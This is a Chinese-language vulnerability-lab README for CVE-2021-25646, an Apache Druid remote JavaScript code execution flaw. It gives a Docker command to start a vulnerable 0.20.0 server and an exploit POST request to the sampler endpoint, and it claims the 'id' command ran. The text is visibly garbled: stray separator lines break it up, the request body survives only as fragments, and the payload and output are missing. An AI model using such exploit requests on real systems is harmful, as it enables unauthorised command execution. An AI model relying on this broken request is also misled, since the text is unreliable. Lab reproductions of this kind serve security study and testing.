# Apache Druid 代码执行漏洞(CVE-2021-25646)
|
||||
|
||||
Apache Druid是一个开源的分布式数据存储。
|
||||
|
||||
Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。

|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个Apache Druid 0.20.0服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务启动后,访问`http://your-ip:8888`即可查看到Apache Druid主页。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
直接发送如下请求即可执行其中的JavaScript代码:
|
||||
|
||||
```
|
||||
POST /druid/indexer/v1/sampler HTTP/1.1
|
||||
Host: your-ip:8888
|

"enabled":"true"
|

}
|

}
|

},
|

"samplerConfig":{
|
||||

|
||||

|

}
|
||||
```
|
||||
|

可见,`id`命令已被成功执行:
